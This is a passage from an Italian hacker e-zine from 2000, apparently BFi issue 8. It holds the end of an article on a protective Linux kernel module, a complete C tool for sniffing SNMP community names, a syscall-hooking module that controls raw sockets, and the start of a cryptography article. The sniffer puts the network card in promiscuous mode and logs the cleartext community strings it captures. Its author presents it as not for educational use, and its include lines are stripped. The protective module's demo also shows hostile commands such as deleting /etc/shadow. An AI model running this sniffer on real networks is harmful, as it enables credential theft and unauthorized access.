+a /var/log/messages [root@MaNTRa LKM]# gcc -c -O2 -fomit-frame-pointer LuCe.c -Wall [root@MaNTRa LKM]# insmod LuCe.o secure=1 LuCe [Linux 2.2.x LKM] by FuSyS [S0ftPj|BFi] [root@MaNTRa LKM]# chattr -i /etc/passwd chattr: Operation not permitted while setting flags on /etc/passwd [root@MaNTRa LKM]# rm /etc/shadow rm: remove write-protected file `/etc/shadow'? y rm: cannot unlink `/etc/shadow': Operation not permitted [root@MaNTRa LKM]# echo "DOSDOSDOSDOS" > /etc/passwd bash: /etc/passwd: Permission denied [root@MaNTRa LKM]# chattr -a /var/log/messages chattr: Operation not permitted while setting flags on /var/log/messages [root@MaNTRa LKM]# mount /dev/fd0 /A mount: permission denied ... Ed ecco alcuni dei log di sistema: Mar 19 16:42:04 MaNTRa kernel: LuCe LKM Attivato Mar 19 16:42:26 MaNTRa kernel: LuCe: Tentativo di Modifica EXT2_IMMUTABLE_FL su passwd mediante chattr [UID 0 TTY ] Mar 19 16:42:31 MaNTRa kernel: LuCe: Tentativo di Unlink su /etc/shadow [+i] mediante rm [UID 0 TTY ] Mar 19 16:42:55 MaNTRa kernel: LuCe: Tentativo di Scrittura su /etc/passwd mediante bash [UID 0 TTY ] Mar 19 16:43:01 MaNTRa kernel: LuCe: Tentativo di Modifica EXT2_IMMUTABLE_FL su messages mediante chattr [UID 0 TTY ] Mar 19 16:44:50 MaNTRa kernel: LuCe: Tentativo di Mount su /dev/fd0 [UID 0 TTY ] Partendo dai define. secure e' settato a 0, ma e' possibile definirlo durante l'uso di insmod(1). secure gestisce il securelevel come in *BSD, ma il tenerlo a 0 non vuol dire che LuCe non fornisca protezione. In realta' anche a 0 protegge dalla scrittura e dalla cancellazione i files inseriti nello array protetti[], loggando mediante klogd il tentativo, il realuid dell'utente, l'ora, il terminale ed ovviamente il file attaccato. Questo tipo di protezione viene implementato mediante dirottamento delle due chiamate di sistema sys_open e sys_unlink. Per evitare di usare solo un banale confronto tra il nome file passato alla chiamata di sistema e quello inserito nell'array protetti[], che potrebbero esser differenti nel caso si utilizzi il nome 'assoluto' o meno, bisogna controllare l'inode che fa capo al file. Gia' in alcuni miei vecchi articoli vi avevo mostrato una prima infarinatura sul concetto di inode. E' ora di farsi un bel salto in ~linux/fs/ e controllare i file inode.c, namei.c e dcache.c, senza contare le strutture di tipo inode, dentry e file (dcache.h e fs.h in /usr/include/linux/). Solo dopo aver controllato che gli inode corrispondano, sapremo come andare avanti. Nel caso secure sia maggiore di 0, avremo una protezione maggiore: - nessun block device che rappresenti dischi e/o partizioni potra' esser aperto in scrittura. Questo blocchera' ogni accesso in raw, e se ve lo state chiedendo, si', l'exploit per SuSE dello scorso numero NON potrebbe funzionare. - le due flag, IMMUTABLE_FL ed APPEND_FL non potranno essere rimosse, NEMMENO DA ROOT. Questo permette di cautelarsi contro attaccanti che abbiano raggiunto il livello di superutente, in modo che non possano modificare i log, o aggiungere troyani e account. - non e' possibile montare o smontare filesystem. In questa maniera potremmo anche lasciare la nostra consolle in una fiera, o laboratorio, sicuri che non venga qualcuno a montare un floppy con qualche simpatico regalino. Come agire in questo caso? Beh, il primo punto richiede ancora sys_mount. Dovremo controllare che il device sia effettivamente un block device e che appartenga al gruppo dei dischi di sistema (modificabile con un define), per poter agire nel caso sia richiesto un descrittore per attivita' di scrittura. Per le flag basta agire sulla chiamata di sistema. Come quale? In questi casi e' necessario imparare ad usare un tool eccezionalmente utile per qualunque hacker o newbie: strace(1). Se non l'avete, procuratevelo. Ad esempio: [root@MaNTRa /root]# strace -o test chattr +i /etc/passwd [root@MaNTRa /root]# grep -A 2 passwd test execve("/usr/bin/chattr", ["chattr", "+i", "/etc/passwd"],[/* 19 vars */]) = 0 brk(0) = 0x804a788 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) -- lstat("/etc/passwd", {st_mode=0, st_size=0, ...}) = 0 open("/etc/passwd", O_RDONLY|O_NONBLOCK) = 4 ioctl(4, EXT2_IOC_GETFLAGS, 0xbffffca8) = 0 close(4) = 0 open("/etc/passwd", O_RDONLY|O_NONBLOCK) = 4 ioctl(4, EXT2_IOC_SETFLAGS, 0xbffffca8) = 0 close(4) = 0 [root@MaNTRa /root]# Ora sappiamo che chattr utilizza ioctl per operare su queste due flag. Una ricerca nel kernel conferma che si tratti di sys_ioctl. O meglio di una operazione inode che possiamo trovare come ext2_ioctl() in ~linux/fs/ext2/ioctl.c dalla quale possiamo capire come dirottare la normale sys_ioctl. Il comando incriminato di ioctl e' (da /usr/include/linux/ext2_fs.h): /* * ioctl commands */ #define EXT2_IOC_GETFLAGS _IOR('f', 1, long) #define EXT2_IOC_SETFLAGS _IOW('f', 2, long) <<< #define EXT2_IOC_GETVERSION _IOR('v', 1, long) #define EXT2_IOC_SETVERSION _IOW('v', 2, long) Per bloccare le operazioni sui filesystems ovviamente controlleremo le due chiamate sys_mount e sys_umount. Se secure e' maggiore di 0, non sara' possibile neanche caricare nuovi moduli. Vogliamo infatti che l'attaccante NON comprometta altre chiamate di sistema dopo la sua rootata. Ogni log sfrutta la semplice printk con livello KERN_INFO. E' possibile occultare il modulo agli occhi di lsmod(1) in modo da renderlo non rimuovibile. E' necessario capiate che una volta caricato il modulo, non e' possibile variare il contenuto di secure, visto che anche il file /dev/kmem non sara' apribile in scrittura. Queste limitazioni possono risultare nel raro malfunzionamento di qualche programma, ma una macchina adibita a server, e senza frenetica attivita' utente, non avra' problemi. FuSyS DOCS: Linux, FreeBSD, OpenBSD Kernel Sources LKM Hacking by Pragmatic IN-GREETS: S0ftPj e Orda SMaster, hacker dei ponti ;) del0 e B_Berry, i miei PR preferiti :) \sPIRIT\, un cervello per l'ASM Nello|Z, Kobaiashi e Golem [Mission Impossible] bELF, intramontabile e vulcanico pIGpEN e b0z0, dopati o meno, hacking sotto zero |scacco|, l'uomo delle idee [che contano] Gigi_Sull, Aieeeeeee' #sikurezza OUT-GREETS: |TSuNaMi|, ah nonna ! :* Phoe, alla fine [della banda] solo Phoe =:) vecna, NON comprare il cell ;P Nail^D0D, compagno di soia :) ALL-GREETS: tutti voi che lo state chiedendo a gran voce ! ============================================================================== --------------------------------[ EOF 15/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-16100755 0 0 11030 7102660046 10740 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 16 di 28 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ SNMP C0MMUNiTY NAME SNiFFER -----[ del0rean Niente di speciale! :) Un semplicissimo snmp community name sniffer. Cosa e' un community name? Diciamo che e' una sorta di password (ovviamente in chiaro) usata dal protocollo SNMP. Non controlla se il community name risulta essere writable (se faccio la versione con pcap giuro che aggiungo questa feature :)) L'ho scritto perche' non ne ho trovati di simili in giro; conosco solo un altro tool simile a questo (a parte i vari tcpdump), ma e' molto piu' evoluto e non adatto ai miei scopi ( :-P ). Non sto qui a spiegare SNMP, ASN.1 e BER perche' sarebbe un discorso bello lungo. Il sorgente e' abbastanza commentato. Ovviamente setta l'interfaccia di rete in PROMISC mode, quindi ocio! Come si usa: ./scns & poi passate a leggere il logfile... ./snmpwalk host [community name] Scritto ascoltando: "All the things you could be by now if Sigmund Freud's wife was your mother!" C. Mingus "Digeridoo ( live in Cornwall 1990 )" Aphex Twin bye! del0rean@s0ftpj.org <-| scns.c |-> /* * s0ftpj snmp community name sniffer. * nothing special. * * no(c) del0rean@s0ftpj.org * this is NOT for educational purpouse! :) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define IF "eth0" /* change thiz */ #define LOGFILE "logfile" /* change thiz */ #define IPHDR sizeof(struct iphdr) #define UDPHDR sizeof(struct udphdr) char *trip(char *bu); void ifsec(char *intf, int s); /* Welcome to a fantastic journey into an snmp packet */ /* We will search _only_ for the community name. */ /* let's go! :) */ char *trip(char *bu) { int i, ssize; char *name; i = 0; /* Primitive ASN.1 Types Identifier in hex * OCTET STRING 04 * General SNMP header * SEQUENCE { * version INTEGER {version-1(0)}, * community OCTET STRING, * data ANY -- PDUs * } */ while(bu[i++] != '\x04'); /* style ? uh! */ if(bu[i-1] == '\x04') { ssize = bu[i]; name = (char *)malloc(ssize); strncpy(name, (char *)&bu[i+1], ssize); return name; } return NULL; } void ifset(char *intf, int s) /* classic routines */ { struct ifreq ifr; strncpy(ifr.ifr_name, IF, strlen(IF)+1); if((ioctl(s, SIOCGIFFLAGS, &ifr) == -1)) { printf("couldn't obtain interface flags!\n"); exit(1); } ifr.ifr_flags |= IFF_PROMISC; if (ioctl (s, SIOCSIFFLAGS, &ifr) == -1 ) { printf("couldn't set promisc flag\n"); exit(2); } } int main() { FILE *log; int s, sl, brec, buflen; struct sockaddr_in sinn; struct iphdr *ip; struct udphdr *udp; char buf[255], *data; printf("\n--[ www.s0ftpj.org ]----------------------|\n"); printf("--[ s0ftpj snmp community name sniffer ]--|\n"); signal(SIGTERM,exit); /* ciao ciao vecna!! */ s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); ifset(IF, s); /* set promisc */ log = fopen(LOGFILE, "a"); if(log == NULL) printf("error opening logfile\n"); buflen = sizeof(buf); sl = sizeof(sinn); ip = (struct iphdr *)buf; udp = (struct udphdr *)(buf+IPHDR); while(1) { brec = recvfrom(s, (char *)&buf, buflen, 0, (struct sockaddr*)&sinn, &sl); if((ntohs(udp->dest)) == 161) { if(data = (trip(&buf[IPHDR+UDPHDR]))) { fprintf(log,"\nlook at that!\n"); fflush(log); fprintf(log,"*source ----> [%s]\n", (char *)inet_ntoa(ip->saddr)); fflush(log); fprintf(log,"*dest ------> [%s]\n", (char *)inet_ntoa(ip->daddr)); fflush(log); fprintf(log,"*Name ------> [%s]\n", data); fflush(log); } } } fclose(log); exit(0); } <-X-> ============================================================================== --------------------------------[ EOF 16/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-17100755 0 0 50555 7102660046 10760 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 17 di 28 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ SRAW -----[ Lorenzo Cavallaro `Gigi Sullivan' ---[ SRAW: Socket RAW in maniera Semplice, Rozza, in WORKING ;P ]--- ---[ ovvero come controllare i socket raw mediante LKM ]--- ---[ GREETINGS Aiee :) Hello! ---[ INTRO `sraw' e' solo un esempio banale di quanto flessibile e potente possa essere un modulo kernel (lkm - loadable kernel module). Sfortunatamente non sono un kernel hacker, poiche' sto ancora tentando di imparare bene i `kernel internals', per cui non insultatemi subito per qualsiasi errore possiate trovare in questo piccolo lkm, per favore. In realta' (comunque), se trovate qualche errore o avete suggerimenti di qualsiasi tipo, fatemelo sapere. Grazie :) ---[ DESCRIZIONE Solo il superuser, o qualcuno che ha abilitata la capability CAP_NET_RAW puo' aprire/creare socket di tipo SOCK_RAW (socket raw da qui in poi). Quindi, se si vuole che utenti normali possano eseguire comandi come `ping', `traceroute' (che usano socket raw), bisogna impostare, a questi eseguibili, il bit setuid root. Questo potrebbe essere un problema di sicurezza. Soluzioni: - Dare a questi utenti l'accesso come superuser (non penso :)) - insmod sraw.o Usando sraw.o, si e' in grado di: - Permettere/Negare creazione di socket raw ad utenti. Si puo' ottenere questo, impostando un gruppo utenti e aggiungendo determinati utenti a questo gruppo. - `Loggare' ogni tentativo di creazione di socket raw (tentativi sia andati a buon fine che non). - Gruppi per la crezione di SOCK_RAW (AF_INET|PF_PACKET) e SOCK_PACKET (compatibilita' con il vecchio kernel 2.0.X), sono aggiustabili (configurabili) via /proc file system, sotto la directory /proc/sys/sraw/ . Mi sarebbe piaciuto mettere la /proc entry sotto l'albero /proc/sys/net/ipv4 , ma per far questo sarebbe necessario modificare un paio di source del kernel. Poiche' questo e' ancora un modulo in fase di test (alpha), non lo faro' adesso. Contattatemi pure liberamente a Indirizzo Mailing list [1]: librnet-subscribe@egroups.com (body e subject vuoti) WWW Mailing list [1]: http://www.egroups.com/list/librnet ---[ DISCLAIMER Non sono responsabile per qualsiasi danno questo modulo o voi possiate causare. Comunque, se qualcosa va storto, fatemelo sapere per favore, cosi' posso ragionarci sopra e tentare di fixarlo. ---[ NOTE I privilegi del root (superuser) non sono ristretti a `sraw', poiche' in un ambiente come questo (modulo kernel) sarebbe inutile levare i privilegi al root e potrebbe anche causare qualche problema (specie al boot, se viene caricato il modulo e il root e' sottoposto a restrizioni - vedere archivi WWW per maggiori info). Comunque, cerco di prevenire che un programma suidato root possa bypassare questo semplice modulo, controllando semplicemente che current->uid == current->euid == 0. Visto che il modulo e' in fase di testing e sviluppo, alcune parti di codice potranno esser poco eleganti :) (perdonatemi, le sistemero' ASAP). Il logging puo' crear alcuni problemi in qualche caso (non rilevanti comunque). Riferisci alla Mailing list per eventuali aggiornamenti. ---[ EXAMPLE Un esempio di configurazione puo' esser visto nel file README.sraw che trovate nel tarball e nei sorgenti stessi. bye bye -- gg sullivan -- [1]: In realta' la Mailing list, non si riferisce a `sraw' direttamente, ma ad un altro progetto al quale sto lavorando, comunque visto che `sraw' e' nato durante lo sviluppo di questo progetto, trovo adeguato utilizzare la mailing list anche per discussioni riguardanti `sraw' e il discorso socket raw in generale. -- Lorenzo Cavallaro `Gigi Sullivan' ---[ ESEMPI, o 'come puo' esser semplice la vita' Until I loved, life had no beauty; I did not know I lived until I had loved. (Theodor Korner) sullivan@armageddon# ls -l /bin/ping /usr/sbin/tcpdump /usr/sbin/traceroute -rwxr-sr-x 1 sullivan rsock 14044 Dec 5 1998 /bin/ping -rwxr-sr-x 1 sullivan fulldl 102352 Mar 30 1998 /usr/sbin/tcpdump -rwxr-sr-x 1 sullivan rsock 9548 Feb 13 1999 /usr/sbin/traceroute sullivan@armageddon# lsmoa ~/Projects/sraw-0.1.2 sullivan@armageddon# lsmod ~/Projects/sraw-0.1.2 Module Size Used by af_packet 5868 0 (autoclean) serial_cs 3860 0 (unused) 3c589_cs 7612 0 ds 6144 2 [serial_cs 3c589_cs] i82365 11700 2 pcmcia_core 35584 0 [serial_cs 3c589_cs ds i82365] sullivan@armageddon# make ~/Projects/sraw-0.1.2 gcc -D__KERNEL__ -DMODULE -O2 -Wall -DSRAW_GROUPS -c raw.c -o raw.o gcc -D__KERNEL__ -DMODULE -O2 -Wall -DSRAW_GROUPS -c sysctl.c -o sysctl.o gcc -D__KERNEL__ -DMODULE -O2 -Wall -DSRAW_GROUPS -c log.c -o log.o ld -m elf_i386 -r -o sraw.o raw.o sysctl.o log.o sullivan@armageddon# insmod sraw ~/Projects/sraw-0.1.2 sullivan@armageddon# lsmod ~/Projects/sraw-0.1.2 Module Size Used by sraw 3528 0 (unused) af_packet 5868 0 (autoclean) serial_cs 3860 0 (unused) 3c589_cs 7612 0 ds 6144 2 [serial_cs 3c589_cs] i82365 11700 2 pcmcia_core 35584 0 [serial_cs 3c589_cs ds i82365] sullivan@armageddon# sh ~/Projects/sraw-0.1.2 sh-2.01# cd /proc/sys/sraw/ sh-2.01# ls -l total 0 -rw-r--r-- 1 sullivan root 0 Mar 3 16:14 dlink_ctl -rw-r--r-- 1 sullivan root 0 Mar 3 16:14 full_dlink_ctl -rw-r--r-- 1 sullivan root 0 Mar 3 16:14 logging -rw-r--r-- 1 sullivan root 0 Mar 3 16:14 sock_raw_ctl sh-2.01# cat dlink_ctl 300 sh-2.01# cat full_dlink_ctl 400 sh-2.01# cat logging 1 sh-2.01# cat sock_raw_ctl 200 Dove 300 e' dlink, 400 e' fulldl, 200 e' rsock (definiti in /etc/group) (questa e' la sezione interessata di /etc/group): rsock:x:200:librnet, sullivan dlink:x:300:librnet fulldl:x:400:sullivan Dove sullivan e' uid 0 (root). Considera i seguenti utenti: ------------------------------------------------------------------------------ librnet@armageddon% id ~ uid=1001(librnet) gid=100(users) groups=100(users),200(rsock),400(fulldl) smash@armageddon% id ~ uid=1002(smash) gid=100(users) groups=100(users) sullivan@armageddon# id ~ uid=0(sullivan) gid=0(root) groups=0(root),200(rsock),400(fulldl) Considera i seguenti comandi (e relativi permessi): ------------------------------------------------------------------------------ sullivan@armageddon# ls -l /bin/ping /usr/sbin/tcpdump /usr/sbin/traceroute ~ -rwxr-sr-x 1 sullivan rsock 14044 Dec 5 1998 /bin/ping -rwxr-sr-x 1 sullivan fulldl 102352 Mar 30 1998 /usr/sbin/tcpdump -rwxr-sr-x 1 sullivan rsock 9548 Feb 13 1999 /usr/sbin/traceroute Considera i seguenti esempi banali: (#include esclusi) smash@armageddon% cat sr.c int main(int argc, char **argv) { int sock; sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock == -1) { perror("socket()"); exit(1); } exit(0); } smash@armageddon% cat dl.c int main(int argc, char **argv) { int sock; sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); if (sock == -1) { perror("socket()"); exit(1); } exit(0); } Considera le seguenti operazioni: ------------------------------------------------------------------------------ librnet@armageddon% ifconfig eth0 down ~ SIOCSIFFLAGS: Permission denied librnet@armageddon% ifconfig eth0 192.168.2.5 netmask 255.255.255.0 ~ SIOCSIFADDR: Permission denied SIOCSIFFLAGS: Permission denied SIOCSIFNETMASK: Permission denied librnet@armageddon% tcpdump -i eth0 ~ tcpdump: listening on eth0 librnet@armageddon% ./sr ~ librnet@armageddon% ./dl smash@armageddon% tcpdump -i eth0 ~ tcpdump: listening on eth0 smash@armageddon% ./sr ~ socket(): Operation not permitted smash@armageddon% ./dl ~ socket(): Operation not permitted Appartenere al gruppo dlink, quindi, vuol dire programmare (poter aprire) socket per accedere al datalink layer. Non e' necessario (non serve a nulla) `sgidare' a dlink un programma. etc, etc... -- Lorenzo Cavallaro `Gigi Sullivan' ---[ SRAW LKM distribution files <-| Makefile |-> # sraw # Give CAP_NET_RAW capability to a group of users. # Lorenzo Cavallaro `Gigi Sullivan' # CC=gcc CFLAGS= -D__KERNEL__ -DMODULE -O2 -Wall # Uncomment the follow line #CFLAGS += -DSRAW_GROUPS VERSION=$(shell awk -F\" '/REL/ {print $$2}' /usr/include/linux/version.h) OBJS=sraw.o all: $(OBJS) sraw.o: raw.o sysctl.o log.o ld -m elf_i386 -r -o sraw.o raw.o sysctl.o log.o raw.o: raw.c /usr/include/linux/version.h $(CC) $(CFLAGS) -c raw.c -o raw.o sysctl.o: sysctl.c /usr/include/linux/version.h $(CC) $(CFLAGS) -c sysctl.c -o sysctl.o log.o: log.c /usr/include/linux/version.h $(CC) $(CFLAGS) -c log.c -o log.o install: cp sraw.o /lib/modules/${VERSION}/ipv4 @chmod 644 /lib/modules/${VERSION}/ipv4/${OBJS} clean: rm -f *.o *~ core # END <-X-> <-| log.c |-> /* * $sfcs-mark$ * $filename: log.c$ * $description: logging facility.$ * $authors: Lorenzo Cavallaro 'Gigi Sullivan'$ * $copyright: Copyright (C) 1999 by Lorenzo Cavallaro$ * $license: This source file is under LGPL$ * $creation time: Thu Feb 24 16:20:24 CET 2000$ * $last modification time: Thu Feb 24 16:20:24 CET 2000$ * $revision: 1$ */ #define SRAW_SYSCTL #define __NO_VERSION__ #include "sraw.h" char *sraw_proto[SRAW_MAXPROTO] = { "IPPROTO_IP", "IPPROTO_ICMP", "IPPROTO_IGMP", "IPPROTO_IPIP", "IPPROTO_TCP", "IPPROTO_EGP", "IPPROTO_PUP", "IPPROTO_UDP", "IPPROTO_IDP", "IPPROTO_RSVP", "IPPROTO_GRE", "IPPROTO_IPV6", "IPPROTO_PIM", "IPPROTO_ESP", "IPPROTO_AH", "IPPROTO_COMP", "IPPROTO_RAW", "Unknown Protocol", NULL }; inline unsigned char sraw_remap(unsigned char x) { switch(x) { case 4: return 3; case 6: return 4; case 8: return 5; case 12: return 6; case 17: return 7; case 22: return 8; case 46: return 9; case 47: return 10; case 41: return 11; case 103: return 12; case 50: return 13; case 51: return 14; case 108: return 15; case 255: return 16; default: return (SRAW_MAXPROTO - 1); } /* * Never reached. * Just to avoids compiler warning. */ return (SRAW_MAXPROTO - 1); } <-X-> <-| sraw.h |-> /* * $sfcs-mark$ * $filename: sraw.h$ * $description: sraw LKM header file.$ * $authors: Lorenzo Cavallaro 'Gigi Sullivan'$ * $copyright: Copyright (C) 1999 by Lorenzo Cavallaro$ * $license: This source file is under LGPL$ * $creation time: Tue Feb 8 18:30:02 CET 2000$ * $last modification time: Thu Feb 24 16:33:02 CET 2000$ * $revision: 3$ */ #ifndef __SRAW_H_ #define __SRAW_H_ #include #ifdef CONFIG_MODVERSIONS # define MODVERSIONS # include #endif /* CONFIG_MODVERSIONS */ #include #include #include #include #include #include #include #include #include #include #include #include unsigned char sraw_remap(unsigned char); #define SRAW_SOCK_RAW_DFL 200 /* rsock group. Check /etc/group */ #define SRAW_SOCK_DLINK_DFL 300 /* dlink group. */ #define SRAW_SOCK_FULL_DLINK_DFL 400 /* Full data link CAP_NET_ADMIN */ #define SRAW_LOG_DFL 1 /* Log everything */ #define SRAW_MODNAME "sraw" #define SRAW_MODVER "0.1.3" #define SRAW_MAXPROTO 19 #ifdef SRAW_SYSCTL extern ctl_table sraw_sysctl_dir; extern char *sraw_proto[]; extern int sraw_sr_group; extern int sraw_sr_logging; extern int sraw_sr_dl; extern int sraw_sr_full_dl; #endif #endif /* __SRAW_H_ */ <-X-> <-| raw.c |-> /* * $sfcs-mark$ * $filename: raw.c$ * $description: Manage (AF_INET/PF_PACKET), (SOCK_RAW/SOCK_PAKET) creation.$ * $authors: Lorenzo Cavallaro 'Gigi Sullivan'$ * $copyright: Copyright (C) 1999 by Lorenzo Cavallaro$ * $license: This source file is under LGPL$ * $creation time: Tue Feb 8 18:25:33 CET 2000$ * $last modification time: Sat Feb 26 19:17:26 CET 2000$ * $revision: 4$ */ #define SRAW_SYSCTL #include "sraw.h" extern void *sys_call_table[]; struct ctl_table_header *sraw_sysctl_hdr; struct semaphore queue; int (*o_socketcall)(int, unsigned long *); int (*o_ioctl)(int, int, unsigned long); int my_ioctl(int d, int request, unsigned long args) { int ret; struct ifreq *ifr; if (!(current->uid) && !(current->euid)) /* * Allow root priviledges. * In a such environment there's no reason to block root too. * However I check to see if we're really root * i.e. uid == euid == 0, otherwise (suid proggy) get controlled * by the following rules. * (This allow us to load this lkm at boot time too. */ goto out; ifr = (struct ifreq *) args; switch(request) { case SIOCSIFLINK: case SIOCSIFFLAGS: case SIOCSIFADDR: case SIOCSIFDSTADDR: case SIOCSIFBRDADDR: case SIOCSIFNETMASK: case SIOCSIFMETRIC: case SIOCSIFMEM: case SIOCSIFMTU: case SIOCSIFHWADDR: case SIOCSIFENCAP: case SIOCSIFSLAVE: case SIOCSIFPFLAGS: case SIOCSIFHWBROADCAST: case SIOCSIFBR: case SIOCSIFTXQLEN: case SIOCSIFMAP: break; default: goto out; } cap_lower(current->cap_effective, CAP_NET_ADMIN); if (in_group_p(sraw_sr_full_dl)) { cap_raise(current->cap_effective, CAP_NET_ADMIN); if (sraw_sr_logging) printk(KERN_INFO "[%s]: uid %d(%d) gid %d(%d) ACCEPT " \ "ioctl(0x%x) %s.\n", \ SRAW_MODNAME, current->uid, current->euid, \ current->gid, current->egid, request, \ ifr->ifr_name); } else if (sraw_sr_logging) { printk(KERN_INFO "[%s]: uid %d(%d) gid %d(%d) DENY " \ "ioctl(0x%x) %s.\n", \ SRAW_MODNAME, current->uid, current->euid, \ current->gid, current->egid, request, \ ifr->ifr_name); } out: ret = o_ioctl(d, request, args); return ret; } int my_socketcall(int call, unsigned long *args) { int ret; int ctl_check; /* * These lines are just ripped from socket.c / sys_socketcall() * I need the args value. */ unsigned long a[6]; unsigned long a0, a1, a2; if (!(current->uid) && !(current->euid)) goto out; if (call < 1 || call > SYS_RECVMSG) return -EINVAL; if (call == SYS_SOCKET) { /* Check out the source for the size stuff */ if (copy_from_user(a, args, 3 * sizeof(unsigned long))) return -EFAULT; a0 = a[0]; a1 = a[1]; a2 = a[2]; /* * Ugly check, but it works right now. * SOCK_PACKET is checked since we could run old data link * access program that use the obsolete SOCK_PACKET interface. * This backward compatibility will work only if you had compiled * af_packet module in kernel. */ if ((a0 == AF_INET) && (a1 == SOCK_RAW)) ctl_check = sraw_sr_group; else if ((a0 == AF_INET) && (a1 == SOCK_PACKET)) ctl_check = sraw_sr_dl; else if ((a0 == PF_PACKET) && (a1 == SOCK_RAW)) ctl_check = sraw_sr_dl; else ctl_check = -1; if (((a0 == AF_INET) && (a1 == SOCK_RAW)) || \ ((a0 == AF_INET) && (a1 == SOCK_PACKET)) || \ ((a0 == PF_PACKET) && (a1 == SOCK_RAW))) { /* * This is mandatory, otherwise (e)uid 0 can always open * SOCK_RAW. */ cap_lower(current->cap_effective, CAP_NET_RAW); if (in_group_p(ctl_check) || (in_group_p(sraw_sr_full_dl))) { cap_raise(current->cap_effective, CAP_NET_RAW); if (sraw_sr_logging) printk(KERN_INFO "[%s]: uid %d(%d) gid %d(%d) ACCEPT " \ "%s" \ " proto %s (%s).\n", \ SRAW_MODNAME, current->uid, current->euid, \ current->gid, current->egid, \ ((a1 == SOCK_PACKET) && (a0 == AF_INET)) ? \ "open(SOCK_PACKET)" : "open(SOCK_RAW)", \ ((a1 == SOCK_PACKET) || (a0 == PF_PACKET)) ? \ ("None") : (sraw_proto[sraw_remap(a2)]), \ current->comm); goto out; } else if (sraw_sr_logging) printk(KERN_INFO "[%s]: uid %d(%d) gid %d(%d) DENY " \ "%s" \ " proto %s (%s).\n", \ SRAW_MODNAME, current->uid, current->euid, \ current->gid, current->egid, \ ((a1 == SOCK_PACKET) && (a0 == AF_INET)) ? \ "open(SOCK_PACKET)" : "open(SOCK_RAW)", \ ((a1 == SOCK_PACKET) || (a0 == PF_PACKET)) ? \ ("None") : (sraw_proto[sraw_remap(a2)]), \ current->comm); } } out: ret = o_socketcall(call, args); return ret; } int init_module(void) { int ret = 0; o_socketcall = sys_call_table[SYS_socketcall]; sys_call_table[SYS_socketcall] = my_socketcall; o_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = my_ioctl; sraw_sysctl_hdr = register_sysctl_table(&sraw_sysctl_dir, 0); if (!sraw_sysctl_hdr) return -1; printk(KERN_INFO "[%s]: version %s initialized.\n", SRAW_MODNAME, \ SRAW_MODVER); return ret; } void cleanup_module(void) { if (sys_call_table[SYS_socketcall] != my_socketcall) printk(KERN_ALERT "[%s]: SYS_socketcall != my_socketcall. WARNING" \ " unstable kernel (it might be)!\n", SRAW_MODNAME); sys_call_table[SYS_socketcall] = o_socketcall; if (sys_call_table[SYS_ioctl] != my_ioctl) printk(KERN_ALERT "[%s]: SYS_ioctl != my_ioctl. WARNING" \ " unstable kernel (it might be)!\n", SRAW_MODNAME); sys_call_table[SYS_ioctl] = o_ioctl; unregister_sysctl_table(sraw_sysctl_hdr); printk(KERN_INFO "[%s]: version %s shutting down.\n", \ SRAW_MODNAME, SRAW_MODVER); return; } <-X-> <-| sysctl.c |-> /* * $sfcs-mark$ * $filename: proc.c$ * $description: tunable group/logging support.$ * $authors: Lorenzo Cavallaro 'Gigi Sullivan'$ * $copyright: Copyright (C) 1999 by Lorenzo Cavallaro$ * $license: This source file is under LGPL$ * $creation time: Wed Feb 23 02:25:00 CET 2000$ * $last modification time: Wed Feb 23 02:25:00 CET 2000$ * $revision: 1$ */ #define __NO_VERSION__ #include "sraw.h" /* * XXX Testing purpose. I'm testing it before to modify * /usr/include/linux/sysctl.h and /usr/src/linux/net/sysctl_net.c and * /usr/src/linux/sysctl_net_ipc4.c where I guess it should live */ #define CTL_SRAW 9 #ifndef SRAW_GROUPS # error "Be sure you checked your `/etc/group' and default tunable parameters. (check /etc/group, check sraw.h, edit Makefile and define -DSRAW_GROUPS." #endif enum { SRAW_SR = 1, SRAW_DL = 2, SRAW_LOG = 3, SRAW_FULL_DL = 4 }; int sraw_sr_group = SRAW_SOCK_RAW_DFL; int sraw_sr_dl = SRAW_SOCK_DLINK_DFL; int sraw_sr_logging = SRAW_LOG_DFL; int sraw_sr_full_dl = SRAW_SOCK_FULL_DLINK_DFL; ctl_table sraw_sysctl_entry[] = { { SRAW_SR, "sock_raw_ctl", &sraw_sr_group, sizeof(int), 0644, NULL, &proc_dointvec }, { SRAW_DL, "dlink_ctl", &sraw_sr_dl, sizeof(int), 0644, NULL, &proc_dointvec }, { SRAW_LOG, "logging", &sraw_sr_logging, sizeof(int), 0644, NULL, &proc_dointvec }, { SRAW_FULL_DL, "full_dlink_ctl", &sraw_sr_full_dl, sizeof(int), 0644, NULL, &proc_dointvec }, { 0 } }; ctl_table sraw_sysctl_dir[] = { { CTL_SRAW, "sraw", NULL, 0, 0555, sraw_sysctl_entry, NULL }, { 0 } }; <-X-> Lorenzo Cavallaro `Gigi Sullivan' ============================================================================== --------------------------------[ EOF 17/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-18100755 0 0 54464 7102660046 10764 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 18 di 28 ]------------- ============================================================================== -[ CRYPT0GRAPHY ]------------------------------------------------------------- ---[ RSA E CRiTT0GRAFiA SiMMETRiCA FTM (F0R THE MASS) -----[ valv{0} , vecna ------------------------------------------------------------- RSA e Crittografia Simmetrica fTm (for the Mass) - 05/03/2000 ------------------------------------------------------------- Date: 05/03/2000 Written by: valv{0} - valvoline@tiscalinet.it vecna - vecna@itapac.net consumo : almeno 2 fegati propri. (vecna) : ...e ki se lo rikorda! (valv0) dedicato a: tendenzialmente a mAyhEm. (vecna) La mia Lady, il mio prof. di Crittografia. (valv0) X-warning : Io non sono responsabile se la mia libreria e' ciccata, ho fatto molti test e gli ho dedicato abbastanza tempo per farla, fatto sta' che sono ancora umano e come tale posso ancora sbagliare. (vecna) ------------------------------------------------------------- RSA e Crittografia Simmetrica fTm (for the Mass) - 